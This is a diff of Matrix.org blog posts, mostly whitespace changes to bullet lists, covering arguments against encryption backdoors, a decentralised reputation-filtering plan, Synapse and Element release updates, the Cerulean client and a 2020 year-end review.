* Backdoors necessarily introduce a fatal weak point into encryption for _everyone_, which then becomes the ultimate high value target for attackers. Anyone who can determine the secret needed to break the encryption will gain full access, and you can be absolutely sure **[the backdoor key will leak](https://techcrunch.com/2016/07/27/security-experts-have-cloned-all-seven-tsa-master-keys/)** - whether that’s via intrusion, social engineering, brute-force attacks, or accident. And even if you unilaterally trust your current government to be responsible with the keys to the backdoor, is it wise to unilaterally trust their successors? Computer security is only ever a matter of degree, and the only safe way to keep a secret like this safe is for it not to exist in the first place.
|
||||
* Backdoors necessarily introduce a fatal weak point into encryption for _everyone_, which then becomes the ultimate high value target for attackers. Anyone who can determine the secret needed to break the encryption will gain full access, and you can be absolutely sure **[the backdoor key will leak](https://techcrunch.com/2016/07/27/security-experts-have-cloned-all-seven-tsa-master-keys/)** - whether that’s via intrusion, social engineering, brute-force attacks, or accident. And even if you unilaterally trust your current government to be responsible with the keys to the backdoor, is it wise to unilaterally trust their successors? Computer security is only ever a matter of degree, and the only safe way to keep a secret like this safe is for it not to exist in the first place.
|
||||
|
||||
* End-to-end encryption is nowadays a completely ubiquitous technology; **an attempt to legislate against it is like trying to turn back the tide** or declare a branch of mathematics illegal. Even if Matrix did compromise its encryption, users could easily use any number of other approaches to additionally secure their conversations - from PGP, to OTR, to using one-time pads, to sharing content in password-protected ZIP files. Or they could just switch to a E2EE chat system operating from a jurisdiction without backdoors.
|
||||
* End-to-end encryption is nowadays a completely ubiquitous technology; **an attempt to legislate against it is like trying to turn back the tide** or declare a branch of mathematics illegal. Even if Matrix did compromise its encryption, users could easily use any number of other approaches to additionally secure their conversations - from PGP, to OTR, to using one-time pads, to sharing content in password-protected ZIP files. Or they could just switch to a E2EE chat system operating from a jurisdiction without backdoors.
|
||||
|
||||
* Governments protect their own data using end-to-end encryption, precisely because they do not want other governments being able to snoop on them. So not only is it hypocritical for governments to argue for backdoors,** it immediately puts their own governmental data at risk of being compromised**. Moreover, creating infrastructure for backdoors sets an incredibly bad precedent to the rest of the world - where less salubrious governments will inevitably use the same technology to the massive detriment of their citizens’ human rights.
|
||||
* Governments protect their own data using end-to-end encryption, precisely because they do not want other governments being able to snoop on them. So not only is it hypocritical for governments to argue for backdoors,** it immediately puts their own governmental data at risk of being compromised**. Moreover, creating infrastructure for backdoors sets an incredibly bad precedent to the rest of the world - where less salubrious governments will inevitably use the same technology to the massive detriment of their citizens’ human rights.
|
||||
|
||||
* Finally, in Matrix’s specific case: Matrix is an encrypted decentralised open network powered by open source software, where anyone can run a server. Even if the Matrix core team were obligated to add a backdoor, this would be visible to the wider world - and **there would be no way to make the wider network adopt it**. It would just damage the credibility of the core team, push encryption development to other countries, and the wider network would move on irrespectively.
|
||||
* Finally, in Matrix’s specific case: Matrix is an encrypted decentralised open network powered by open source software, where anyone can run a server. Even if the Matrix core team were obligated to add a backdoor, this would be visible to the wider world - and **there would be no way to make the wider network adopt it**. It would just damage the credibility of the core team, push encryption development to other countries, and the wider network would move on irrespectively.
|
||||
|
||||
In short, we need to keep E2EE as it is so that it benefits the 99.9% of people who are good actors. If we enforce backdoors and undermine it, then the bad 0.1% percent simply will switch to non-backdoored systems while the 99.9% are left vulnerable.
|
||||
|
||||
|
|
@ -63,12 +63,12 @@ Just like the Web, Email or the Internet as a whole, there is literally no way t
|
|||
|
||||
The model we currently have in mind is:
|
||||
|
||||
* Anyone can gather reputation data about Matrix rooms / users / servers / communities / content, and publish it to as wide or narrow an audience as they like - providing their subjective score on whether something in Matrix is positive or negative in a given context.
|
||||
* This reputation data is published in a privacy preserving fashion - i.e. you can look up reputation data if you know the ID being queried, but the data is stored pseudonymised (e.g. indexed by a hashed ID).
|
||||
* Anyone can subscribe to reputation feeds and blend them together in order to inform how they filter their content. The feeds might be their own data, or from their friends, or from trusted sources (e.g. a fact-checking company). Their blended feed can be republished as their own.
|
||||
* To prevent users getting trapped in a factional filter bubble of their own devising, we’ll provide UI to visualise and warn about the extent of their filtering - and make it easy and fun to shift their viewpoint as needed.
|
||||
* Admins running servers in particular jurisdictions then have the option to enforce whatever rules they need on their servers (e.g. they might want to subscribe to reputation feeds from a trusted source such as [the IWF](https://www.iwf.org.uk/), identifying child sexual abuse content, and use it to block it from their server).
|
||||
* This isn’t just about combating abuse - but the same system can also be used to empower users to filter out spam, propaganda, unwanted NSFW content, etc on their own terms.
|
||||
* Anyone can gather reputation data about Matrix rooms / users / servers / communities / content, and publish it to as wide or narrow an audience as they like - providing their subjective score on whether something in Matrix is positive or negative in a given context.
|
||||
* This reputation data is published in a privacy preserving fashion - i.e. you can look up reputation data if you know the ID being queried, but the data is stored pseudonymised (e.g. indexed by a hashed ID).
|
||||
* Anyone can subscribe to reputation feeds and blend them together in order to inform how they filter their content. The feeds might be their own data, or from their friends, or from trusted sources (e.g. a fact-checking company). Their blended feed can be republished as their own.
|
||||
* To prevent users getting trapped in a factional filter bubble of their own devising, we’ll provide UI to visualise and warn about the extent of their filtering - and make it easy and fun to shift their viewpoint as needed.
|
||||
* Admins running servers in particular jurisdictions then have the option to enforce whatever rules they need on their servers (e.g. they might want to subscribe to reputation feeds from a trusted source such as [the IWF](https://www.iwf.org.uk/), identifying child sexual abuse content, and use it to block it from their server).
|
||||
* This isn’t just about combating abuse - but the same system can also be used to empower users to filter out spam, propaganda, unwanted NSFW content, etc on their own terms.
|
||||
|
||||
This forms a _relative_ reputation system. As uncomfortable as it may be, one man’s terrorist is another man’s freedom fighter, and different jurisdictions have different laws - and it’s not up to the Matrix.org Foundation to play God and adjudicate. Each user/moderator/admin should be free to make up their own mind and decide which reputation feeds to align themselves with. That is not to say that this system would help users locate extreme content - the privacy-preserving nature of the reputation data means that it’s only useful to filter _out_ material which would otherwise already be visible to you - not to locate new content.
|
||||
|
||||
|
|
|
|||
|
|
@ -67,9 +67,9 @@ Demos week is fun! Reminds me of walk-around-the-office-interrupting-people week
|
|||
|
||||
> Happy November from the Synapse team! As mentioned last week, we pushed a small [v1.22.1 release](https://github.com/matrix-org/synapse/releases/tag/v1.22.1) last Friday which fixed two regressions:
|
||||
>
|
||||
> * Fix a bug where an appservice may not be forwarded events for a room it was recently invited to. Broke in v1.22.0. ([#8676](https://github.com/matrix-org/synapse/issues/8676))
|
||||
> * Fix a bug where an appservice may not be forwarded events for a room it was recently invited to. Broke in v1.22.0. ([#8676](https://github.com/matrix-org/synapse/issues/8676))
|
||||
>
|
||||
> * Fix `Object of type frozendict is not JSON serializable` exceptions when using third-party event rules. Broke in v1.22.0. ([#8678](https://github.com/matrix-org/synapse/issues/8678))
|
||||
> * Fix `Object of type frozendict is not JSON serializable` exceptions when using third-party event rules. Broke in v1.22.0. ([#8678](https://github.com/matrix-org/synapse/issues/8678))
|
||||
>
|
||||
> If you haven't upgraded your Synapse in a while, _please do._
|
||||
>
|
||||
|
|
|
|||
|
|
@ -130,10 +130,10 @@ Dendrite is a next-generation homeserver written in Go
|
|||
|
||||
> We released Synapse 1.23.0 on Wednesday! Read all about it on the [Matrix Blog](https://matrix.org/blog/2020/11/18/synapse-1-23-0-released). Otherwise, we'd like to highlight a few developments over the past week:
|
||||
>
|
||||
> * We're discussing a policy for ending support for old versions of Python and PostgreSQL. If you have opinions, please [let us know on GitHub](https://github.com/matrix-org/synapse/issues/8782).
|
||||
> * We're discussing a policy for ending support for old versions of Python and PostgreSQL. If you have opinions, please [let us know on GitHub](https://github.com/matrix-org/synapse/issues/8782).
|
||||
>
|
||||
> * Our initial implementation of [MSC2403: Add "knock" feature](https://github.com/matrix-org/matrix-doc/pull/2403) is undergoing review, and will likely land soon.
|
||||
> * We've been looking at ways to improve the efficiency of state resolution, and Erik has managed to [devise some algorithmic improvements](https://github.com/matrix-org/synapse/issues/8622#issuecomment-729620021) that yield an order of magnitude speedup for a handful of pathologic cases. We hope to have a better idea of how this might work for real world workloads soon.
|
||||
> * Our initial implementation of [MSC2403: Add "knock" feature](https://github.com/matrix-org/matrix-doc/pull/2403) is undergoing review, and will likely land soon.
|
||||
> * We've been looking at ways to improve the efficiency of state resolution, and Erik has managed to [devise some algorithmic improvements](https://github.com/matrix-org/synapse/issues/8622#issuecomment-729620021) that yield an order of magnitude speedup for a handful of pathologic cases. We hope to have a better idea of how this might work for real world workloads soon.
|
||||
>
|
||||
> Lastly, we'd like to take this opportunity to remind you to **please regularly upgrade your Synapse.** Especially if you're not yet on 1.20.0, as we'll be disclosing a denial of service issue which affects older versions on Monday.
|
||||
|
||||
|
|
@ -232,76 +232,76 @@ and later
|
|||
|
||||
> #### Delight (Rich vdH, Michael (t3chguy), Valere, Steve, Nique, Nad)
|
||||
>
|
||||
> * **Improving usability**
|
||||
> * **Improving usability**
|
||||
>
|
||||
> * Last week
|
||||
> * Observed user tests of people trying to use Element for the first time for personal and professional use cases
|
||||
> * Last week
|
||||
> * Observed user tests of people trying to use Element for the first time for personal and professional use cases
|
||||
>
|
||||
> * This week:
|
||||
> * Began work on fixing several of the issues observed, like:
|
||||
> * This week:
|
||||
> * Began work on fixing several of the issues observed, like:
|
||||
>
|
||||
> * adding an invite people button to new rooms, so users can more easily add people;
|
||||
> * changing copy to help people understand what DMs are
|
||||
> * adding an invite people button to new rooms, so users can more easily add people;
|
||||
> * changing copy to help people understand what DMs are
|
||||
>
|
||||
> * **Spaces**
|
||||
> * **Spaces**
|
||||
>
|
||||
> * Communities are coming back with a bang! Last week we said we renamed them to Spaces, and this week, we’ve started designing what [MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) would look like for users on Element, to start user testing next week.
|
||||
> * Communities are coming back with a bang! Last week we said we renamed them to Spaces, and this week, we’ve started designing what [MSC1772](https://github.com/matrix-org/matrix-doc/pull/1772) would look like for users on Element, to start user testing next week.
|
||||
>
|
||||
> * **Social login**
|
||||
> * **Social login**
|
||||
>
|
||||
> * To make authentication easier, we’ve started initial implementations of SSO in Element, exploring how homeservers & Matrix clients can support multiple SSO providers. Most of the work so far is captured in [MSC2858](https://github.com/matrix-org/matrix-doc/pull/2858).
|
||||
> * To make authentication easier, we’ve started initial implementations of SSO in Element, exploring how homeservers & Matrix clients can support multiple SSO providers. Most of the work so far is captured in [MSC2858](https://github.com/matrix-org/matrix-doc/pull/2858).
|
||||
>
|
||||
>
|
||||
> #### VoIP (Dave, Brendan, Ismail, Francois, Simon, Nad)
|
||||
>
|
||||
> * Web
|
||||
> * Web
|
||||
>
|
||||
> * PR up for new look in-call UI, now looking at line 1 / 2 support
|
||||
> * PR up for new look in-call UI, now looking at line 1 / 2 support
|
||||
>
|
||||
> * Mobile
|
||||
> * Mobile
|
||||
>
|
||||
> * Work ongoing to update both platforms to v1 VoIP
|
||||
> * Work ongoing to update both platforms to v1 VoIP
|
||||
>
|
||||
> * Design
|
||||
> * Design
|
||||
>
|
||||
> * Some tweaks as implementation is ongoing
|
||||
> * Some tweaks as implementation is ongoing
|
||||
>
|
||||
>
|
||||
> #### Web Platform (Ryan)
|
||||
>
|
||||
> * Element Web 1.7.14-rc.1 is now available at [<https://staging.element.io>](https://staging.element.io), including:
|
||||
> * Element Web 1.7.14-rc.1 is now available at [<https://staging.element.io>](https://staging.element.io), including:
|
||||
>
|
||||
> * Several tweaks and improvements to the room list filter
|
||||
> * Improved registration based on user feedback
|
||||
> * Several tweaks and improvements to the room list filter
|
||||
> * Improved registration based on user feedback
|
||||
>
|
||||
> * Improved invite / create DM flow
|
||||
> * Improved invite / create DM flow
|
||||
>
|
||||
>
|
||||
> #### iOS Platform (Manu, Gil)
|
||||
>
|
||||
> * Last week:
|
||||
> * Last week:
|
||||
>
|
||||
> * The release has been blocked because a [bug](https://github.com/vector-im/element-ios/issues/3817) has been found in the end to end encryption module. It has been fixed but we want to fix [damages](https://github.com/vector-im/element-ios/issues/3818#issuecomment-731174166) it created on one time keys before releasing the new app version.
|
||||
> * The new background sync service mechanism PR has been updated
|
||||
> * The release has been blocked because a [bug](https://github.com/vector-im/element-ios/issues/3817) has been found in the end to end encryption module. It has been fixed but we want to fix [damages](https://github.com/vector-im/element-ios/issues/3818#issuecomment-731174166) it created on one time keys before releasing the new app version.
|
||||
> * The new background sync service mechanism PR has been updated
|
||||
>
|
||||
> * We started to integrate [tuist](https://tuist.io/) to stop to be annoyed with merge conflicts on the Xcode project file
|
||||
> * We started to integrate [tuist](https://tuist.io/) to stop to be annoyed with merge conflicts on the Xcode project file
|
||||
>
|
||||
> * This week:
|
||||
> * This week:
|
||||
>
|
||||
> * Release!
|
||||
> * Merge the background sync service mechanism PR and make more people test it
|
||||
> * Release!
|
||||
> * Merge the background sync service mechanism PR and make more people test it
|
||||
>
|
||||
>
|
||||
> #### Android Platform (Benoit, Onuray)
|
||||
>
|
||||
> * Last week:
|
||||
> * Last week:
|
||||
>
|
||||
> * We’ve just merged a lot of PRs, to improve room creation form and fix some bugs.
|
||||
> * SDK side, [Dominaezzz](https://github.com/Dominaezzz) is converting some of the Service API methods to coroutines, for a cleaner code. See for instance [<https://github.com/vector-im/element-android/pull/2414>](https://github.com/vector-im/element-android/pull/2414) . 9 out of about 45 services have been migrated so far. We have about a 45 services in the SDK (!)
|
||||
> * We’ve just merged a lot of PRs, to improve room creation form and fix some bugs.
|
||||
> * SDK side, [Dominaezzz](https://github.com/Dominaezzz) is converting some of the Service API methods to coroutines, for a cleaner code. See for instance [<https://github.com/vector-im/element-android/pull/2414>](https://github.com/vector-im/element-android/pull/2414) . 9 out of about 45 services have been migrated so far. We have about a 45 services in the SDK (!)
|
||||
>
|
||||
> * This week:
|
||||
> * This week:
|
||||
>
|
||||
> * Release including a new way to invite friends to Matrix and to Element.
|
||||
> * Release including a new way to invite friends to Matrix and to Element.
|
||||
|
||||
### Hydrogen
|
||||
|
||||
|
|
|
|||
|
|
@ -22,14 +22,14 @@ It turns out the answer is a firm “yes” - and as a result we’d like to pre
|
|||
|
||||
Cerulean is unusual in many ways:
|
||||
|
||||
* It’s (currently) [a very minimal javascript app](https://github.com/matrix-org/cerulean) - only 2,500 lines of code.
|
||||
* It has zero dependencies (other than React).
|
||||
* This is to show just how simple a fairly sophisticated Matrix client can be...
|
||||
* ...and so the code can be easily understood by folks unfamiliar with Matrix...
|
||||
* ...and so we can iterate fast while figuring out threading...
|
||||
* ...and because none of the SDKs support threading yet :D
|
||||
* It relies on [MSC2836: Threading](https://github.com/matrix-org/matrix-doc/pull/2836) - our highly experimental Matrix Spec Change to extend relationships (as used by reaction & edit aggregations) to support free-form arbitrary depth threading.
|
||||
* As such, **it only works on Dendrite**, as that’s where we’ve been experimenting with implementing MSC2836. (We’re now running an [official public Dendrite server instance](https://matrix.org/blog/2020/12/15/dendrite-2020-progress-update) at dendrite.matrix.org though, which makes it easy to test - and our test Cerulean instance [https://cerulean.matrix.org](https://cerulean.matrix.org) points at it by default).
|
||||
* It’s (currently) [a very minimal javascript app](https://github.com/matrix-org/cerulean) - only 2,500 lines of code.
|
||||
* It has zero dependencies (other than React).
|
||||
* This is to show just how simple a fairly sophisticated Matrix client can be...
|
||||
* ...and so the code can be easily understood by folks unfamiliar with Matrix...
|
||||
* ...and so we can iterate fast while figuring out threading...
|
||||
* ...and because none of the SDKs support threading yet :D
|
||||
* It relies on [MSC2836: Threading](https://github.com/matrix-org/matrix-doc/pull/2836) - our highly experimental Matrix Spec Change to extend relationships (as used by reaction & edit aggregations) to support free-form arbitrary depth threading.
|
||||
* As such, **it only works on Dendrite**, as that’s where we’ve been experimenting with implementing MSC2836. (We’re now running an [official public Dendrite server instance](https://matrix.org/blog/2020/12/15/dendrite-2020-progress-update) at dendrite.matrix.org though, which makes it easy to test - and our test Cerulean instance [https://cerulean.matrix.org](https://cerulean.matrix.org) points at it by default).
|
||||
|
||||
This is **very much a proof of concept. **We’re releasing it today as a sneak preview so that intrepid Matrix experimenters can play with it, and to open up the project for contributions! (PRs welcome - it should be dead easy to hack on!). Also, we give no guarantees about data durability: both Cerulean and dendrite.matrix.org are highly experimental; do not trust them yet with important data; we reserve the right to delete it all while we iterate on the design.
|
||||
|
||||
|
|
@ -37,34 +37,34 @@ This is **very much a proof of concept. **We’re releasing it today as a sneak
|
|||
|
||||
So for the first cut, we’ve implemented the minimal features to make this something you can just about use and play with for real :)
|
||||
|
||||
* Home view (showing recent posts from folks you follow)
|
||||
* Timeline view (showing the recent posts or replies from a given user)
|
||||
* Thread view (showing a post and its replies as a thread)
|
||||
* Live updating (It’s Matrix, after all! We’ve disabled it for guests though.)
|
||||
* Posting plain text and images
|
||||
* Fully decentralised thanks to Matrix (assuming you’re on Dendrite)
|
||||
* Twitter-style “Vertical” threading (replies form a column; you indent when someone forks the conversation)
|
||||
* HN/Reddit/Email-style “Horizontal” threading (each reply is indented; forks have the same indentation)
|
||||
* Basic Registration & Login
|
||||
* Guest support (slightly faked with non-guest users, as Dendrite’s guest support isn’t finished yet)
|
||||
* Super-experimental proof-of-concept support for [decentralised reputation filtering](https://matrix.org/blog/2020/10/19/combating-abuse-in-matrix-without-backdoors)(!)
|
||||
* Home view (showing recent posts from folks you follow)
|
||||
* Timeline view (showing the recent posts or replies from a given user)
|
||||
* Thread view (showing a post and its replies as a thread)
|
||||
* Live updating (It’s Matrix, after all! We’ve disabled it for guests though.)
|
||||
* Posting plain text and images
|
||||
* Fully decentralised thanks to Matrix (assuming you’re on Dendrite)
|
||||
* Twitter-style “Vertical” threading (replies form a column; you indent when someone forks the conversation)
|
||||
* HN/Reddit/Email-style “Horizontal” threading (each reply is indented; forks have the same indentation)
|
||||
* Basic Registration & Login
|
||||
* Guest support (slightly faked with non-guest users, as Dendrite’s guest support isn’t finished yet)
|
||||
* Super-experimental proof-of-concept support for [decentralised reputation filtering](https://matrix.org/blog/2020/10/19/combating-abuse-in-matrix-without-backdoors)(!)
|
||||
|
||||
Obviously, there’s a huge amount of stuff needed for parity with a proper Twitter-style system:
|
||||
|
||||
* Configurable follows. Currently the act of viewing someone’s timeline automatically follows them. This is because Dendrite doesn’t peek over federation yet (but [it’s close](https://github.com/matrix-org/dendrite/pull/1391)), so you have to join a room to view its contents - and the act of viewing someone’s timeline room is how you follow them in Cerulean.
|
||||
* Likes (i.e. plain old Matrix reactions, although we might need to finally sort out federating them as aggregations rather than individually, if people use them like they use them on Twitter!)
|
||||
* Retweets (dead easy)
|
||||
* Pagination / infinite scrolling (just need to hook it up)
|
||||
* Protect your posts (dead easy; you just switch your timeline room to invite-only!)
|
||||
* Show (some) replies to messages in the Home view
|
||||
* Show parent and sibling context as well as child context in the Thread view
|
||||
* Mentions (we need to decide how to notify folks when they’re mentioned - perhaps Matrix’s push notifications should be extended to let you subscribe to keywords for public rooms you’re not actually in?)
|
||||
* Notifications (although this is just because Dendrite doesn’t do notifs yet)
|
||||
* Search (again, just needs to be implemented in Dendrite - although how do you search beyond the data in your current homeserver? Folks are used to global search)
|
||||
* Hashtags (it’s just search, basically)
|
||||
* Symlinks (see below)
|
||||
* Figure out how to handle lost unthreaded messages (see below)
|
||||
* Offline support? (if we were using a proper Matrix SDK, we’d hopefully get this for free, but currently Cerulean doesn’t store any state locally at all).
|
||||
* Configurable follows. Currently the act of viewing someone’s timeline automatically follows them. This is because Dendrite doesn’t peek over federation yet (but [it’s close](https://github.com/matrix-org/dendrite/pull/1391)), so you have to join a room to view its contents - and the act of viewing someone’s timeline room is how you follow them in Cerulean.
|
||||
* Likes (i.e. plain old Matrix reactions, although we might need to finally sort out federating them as aggregations rather than individually, if people use them like they use them on Twitter!)
|
||||
* Retweets (dead easy)
|
||||
* Pagination / infinite scrolling (just need to hook it up)
|
||||
* Protect your posts (dead easy; you just switch your timeline room to invite-only!)
|
||||
* Show (some) replies to messages in the Home view
|
||||
* Show parent and sibling context as well as child context in the Thread view
|
||||
* Mentions (we need to decide how to notify folks when they’re mentioned - perhaps Matrix’s push notifications should be extended to let you subscribe to keywords for public rooms you’re not actually in?)
|
||||
* Notifications (although this is just because Dendrite doesn’t do notifs yet)
|
||||
* Search (again, just needs to be implemented in Dendrite - although how do you search beyond the data in your current homeserver? Folks are used to global search)
|
||||
* Hashtags (it’s just search, basically)
|
||||
* Symlinks (see below)
|
||||
* Figure out how to handle lost unthreaded messages (see below)
|
||||
* Offline support? (if we were using a proper Matrix SDK, we’d hopefully get this for free, but currently Cerulean doesn’t store any state locally at all).
|
||||
|
||||
### How does it work?
|
||||
|
||||
|
|
|
|||
|
|
@ -206,27 +206,27 @@ This is now almost feature complete! Nice one Tulir.
|
|||
Compiled by the team.
|
||||
|
||||
* Spaces
|
||||
* We’ve been [progressing spaces on Web](https://github.com/vector-im/element-web/issues/15930), focusing on managing spaces, members and rooms. Meanwhile, we’ve also been iterating on designs for all platforms.
|
||||
* We’ve been [progressing spaces on Web](https://github.com/vector-im/element-web/issues/15930), focusing on managing spaces, members and rooms. Meanwhile, we’ve also been iterating on designs for all platforms.
|
||||
* Social login
|
||||
* Synapse support for picking a username should be [landing in develop today](https://github.com/matrix-org/synapse/pull/8942) focusing next on supporting multiple identity providers. On iOS, we’ve implemented SSO redirect authentication mechanisms which also should land soon.
|
||||
* Synapse support for picking a username should be [landing in develop today](https://github.com/matrix-org/synapse/pull/8942) focusing next on supporting multiple identity providers. On iOS, we’ve implemented SSO redirect authentication mechanisms which also should land soon.
|
||||
* VoIP
|
||||
* We’ve been making progress all round on all platforms, with the next web release including improvements to holding & resuming calls and multiple line support!
|
||||
* We’ve been making progress all round on all platforms, with the next web release including improvements to holding & resuming calls and multiple line support!
|
||||
|
||||
#### Web
|
||||
|
||||
* 1.7.16-rc.1 available on staging
|
||||
* Added ability to put a VoIP call on hold and answer another
|
||||
* Added a special visual effect for confetti
|
||||
* Improved the login flow
|
||||
* Investigating changelog options in the background
|
||||
* 1.7.16-rc.1 available on staging
|
||||
* Added ability to put a VoIP call on hold and answer another
|
||||
* Added a special visual effect for confetti
|
||||
* Improved the login flow
|
||||
* Investigating changelog options in the background
|
||||
|
||||
#### Android
|
||||
|
||||
* Element Android 1.0.13 has been released: URL Preview, new Emoji keyboard, new room settings capabilities, and snow for Christmas! Full changelog: [https://github.com/vector-im/element-android/releases/tag/v1.0.12](https://github.com/vector-im/element-android/releases/tag/v1.0.12) and [https://github.com/vector-im/element-android/releases/tag/v1.0.13](https://github.com/vector-im/element-android/releases/tag/v1.0.13)
|
||||
* Element Android 1.0.13 has been released: URL Preview, new Emoji keyboard, new room settings capabilities, and snow for Christmas! Full changelog: [https://github.com/vector-im/element-android/releases/tag/v1.0.12](https://github.com/vector-im/element-android/releases/tag/v1.0.12) and [https://github.com/vector-im/element-android/releases/tag/v1.0.13](https://github.com/vector-im/element-android/releases/tag/v1.0.13)
|
||||
|
||||
#### iOS
|
||||
|
||||
* We’re prepping [1.1.3](https://github.com/vector-im/element-ios/pull/3888) after ironing out final kinks relating to the new background service, hoping to release before Christmas.
|
||||
* We’re prepping [1.1.3](https://github.com/vector-im/element-ios/pull/3888) after ironing out final kinks relating to the new background service, hoping to release before Christmas.
|
||||
|
||||
### Nheko
|
||||
|
||||
|
|
|
|||
|
|
@ -19,26 +19,26 @@ Over the years it’s become a tradition to write an end-of-year wrap-up on Chri
|
|||
|
||||
Looking back at our [plans for 2020](https://matrix.org/blog/2019/12/24/the-2019-matrix-holiday-update#2020) in last year’s wrap-up, amazingly it seems we pretty much achieved what we set out to do. Going through the bulletpoints in order:
|
||||
|
||||
* We [turned on End-to-end Encryption by default](https://matrix.org/blog/2020/05/06/cross-signing-and-end-to-end-encryption-by-default-is-here).
|
||||
* We have a dedicated team making major improvements to First-Time User Experience in Element (as of the last few months; hopefully you’ve been noticing the improvements!)
|
||||
* [RiotX became Element Android and shipped](https://element.io/blog/welcome-to-element/).
|
||||
* Communities have been completely reinvented as [Spaces](https://youtu.be/_Ade0FZfnWo?t=39) ([MSC1772](https://github.com/matrix-org/matrix-doc/commits/matthew/msc1772/proposals/1772-groups-as-rooms.md)) and while in alpha currently, they should ship in Jan.
|
||||
* [Synapse scalability is fixed](https://matrix.org/blog/2020/11/03/how-we-fixed-synapses-scalability): we now shard horizontally by event - and Synapse is now pretty much [entirely async/await](https://patrick.cloke.us/areweasyncyet/)!
|
||||
* [Dendrite Beta shipped](https://matrix.org/blog/2020/10/08/dendrite-is-entering-beta/), as did the [initial P2P Matrix experiments](https://matrix.org/blog/2020/06/02/introducing-p-2-p-matrix/), which have subsequently continued to evolve significantly (although we haven’t implemented [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md) or [MSC2787](https://github.com/matrix-org/matrix-doc/blob/neilalexander/identities/proposals/2787-portable-identities.md) portable accounts yet). Check out the [Dendrite end-of-year update](https://matrix.org/blog/2020/12/15/dendrite-2020-progress-update) for more.
|
||||
* [MLS experiments are in full swing](https://youtu.be/_Ade0FZfnWo?t=939) - we got the first MLS messages passing over Matrix a few days ago, and Decentralised MLS work is back on the menu after an initial sprint in May.
|
||||
* There’s been a valiant mission to improve Bridge UX in the form of [MSC2346](https://github.com/matrix-org/matrix-doc/pull/2346) and its implementations in Element Web, although this has ended up failing to get to the top of the todo list (sorry Half-Shot! :/)
|
||||
* Spec progress has improved somewhat, and we are very excited to have welcomed Will Bamberg (formerly MDN) to support the spec from a professional tech writer perspective, with [the all-new engine](https://friendly-yonath-3de225.netlify.app/) landing any day now! We’re still experimenting with ways to ensure the spec gets enough time allocated to keep up with the backlog, however - particularly community contributions.
|
||||
* ...and in terms of Abuse/Reputation - we properly [kicked off our anti-abuse work](https://matrix.org/blog/2020/10/19/combating-abuse-in-matrix-without-backdoors) and launched a first PoC implementation in the depths of [Cerulean](https://matrix.org/blog/2020/12/18/introducing-cerulean#whats-with-the-decentralised-reputation-button) last week.
|
||||
* We [turned on End-to-end Encryption by default](https://matrix.org/blog/2020/05/06/cross-signing-and-end-to-end-encryption-by-default-is-here).
|
||||
* We have a dedicated team making major improvements to First-Time User Experience in Element (as of the last few months; hopefully you’ve been noticing the improvements!)
|
||||
* [RiotX became Element Android and shipped](https://element.io/blog/welcome-to-element/).
|
||||
* Communities have been completely reinvented as [Spaces](https://youtu.be/_Ade0FZfnWo?t=39) ([MSC1772](https://github.com/matrix-org/matrix-doc/commits/matthew/msc1772/proposals/1772-groups-as-rooms.md)) and while in alpha currently, they should ship in Jan.
|
||||
* [Synapse scalability is fixed](https://matrix.org/blog/2020/11/03/how-we-fixed-synapses-scalability): we now shard horizontally by event - and Synapse is now pretty much [entirely async/await](https://patrick.cloke.us/areweasyncyet/)!
|
||||
* [Dendrite Beta shipped](https://matrix.org/blog/2020/10/08/dendrite-is-entering-beta/), as did the [initial P2P Matrix experiments](https://matrix.org/blog/2020/06/02/introducing-p-2-p-matrix/), which have subsequently continued to evolve significantly (although we haven’t implemented [MSC1228](https://github.com/matrix-org/matrix-doc/blob/rav/proposal/remove_mxids_from_events/proposals/1228-removing-mxids-from-events.md) or [MSC2787](https://github.com/matrix-org/matrix-doc/blob/neilalexander/identities/proposals/2787-portable-identities.md) portable accounts yet). Check out the [Dendrite end-of-year update](https://matrix.org/blog/2020/12/15/dendrite-2020-progress-update) for more.
|
||||
* [MLS experiments are in full swing](https://youtu.be/_Ade0FZfnWo?t=939) - we got the first MLS messages passing over Matrix a few days ago, and Decentralised MLS work is back on the menu after an initial sprint in May.
|
||||
* There’s been a valiant mission to improve Bridge UX in the form of [MSC2346](https://github.com/matrix-org/matrix-doc/pull/2346) and its implementations in Element Web, although this has ended up failing to get to the top of the todo list (sorry Half-Shot! :/)
|
||||
* Spec progress has improved somewhat, and we are very excited to have welcomed Will Bamberg (formerly MDN) to support the spec from a professional tech writer perspective, with [the all-new engine](https://friendly-yonath-3de225.netlify.app/) landing any day now! We’re still experimenting with ways to ensure the spec gets enough time allocated to keep up with the backlog, however - particularly community contributions.
|
||||
* ...and in terms of Abuse/Reputation - we properly [kicked off our anti-abuse work](https://matrix.org/blog/2020/10/19/combating-abuse-in-matrix-without-backdoors) and launched a first PoC implementation in the depths of [Cerulean](https://matrix.org/blog/2020/12/18/introducing-cerulean#whats-with-the-decentralised-reputation-button) last week.
|
||||
|
||||
Perhaps more interesting is the stuff we didn’t predict (or at least didn’t want to pre-announce ;) for 2020:
|
||||
|
||||
* Riot, Modular and New Vector got unified at last behind a single name: [Element](https://element.io/blog/welcome-to-element/); hopefully the shock has worn off by now :)
|
||||
* [Mozilla joined Matrix](https://matrix.org/blog/2020/03/03/moznet-irc-is-dead-long-live-mozilla-matrix) in force, turning off Moznet IRC in favour of going full Matrix.
|
||||
* [We welcomed Gitter](https://matrix.org/blog/2020/09/30/welcoming-gitter-to-matrix) into the heart of the Matrix ecosystem (with [Element acquiring Gitter](https://element.io/blog/gitter-is-joining-element/) from [Gitlab](https://about.gitlab.com/blog/2020/09/30/gitter-moves-to-element/) in order to ensure Gitter’s Matrix integration acts as a reference for integrating future chat silos into Matrix) - with [native Matrix support in Gitter](https://matrix.org/blog/2020/12/07/gitter-now-speaks-matrix) going live shortly afterwards.
|
||||
* [Automattic](https://matrix.org/blog/2020/05/21/welcoming-automattic-to-matrix) launched itself into the Matrix ecosystem with an investment in Element, and since then we’ve been working on getting Matrix better integrated and available to them (although all of Element’s Matrix-for-governments activity has ended up delaying this a bit). If you want to work for Automattic on integrating Matrix, [they’re hiring](https://automattic.com/work-with-us/matrix-integrations-engineer/)!
|
||||
* We previewed [Cerulean](https://matrix.org/blog/2020/12/18/introducing-cerulean) as a super-exciting proof-of-concept client, demonstrating how social media could work on Matrix, with native threading, profiles-as-rooms, decentralised reputation, and (shortly) peeking-over-federation.
|
||||
* [We completely rewrote matrix.to](https://matrix.org/blog/2020/12/17/matrix-to-reloaded) and relaunched it as a much more capable and friendly permalink redirection service; a precursor to finally getting matrix:// URLs everywhere!
|
||||
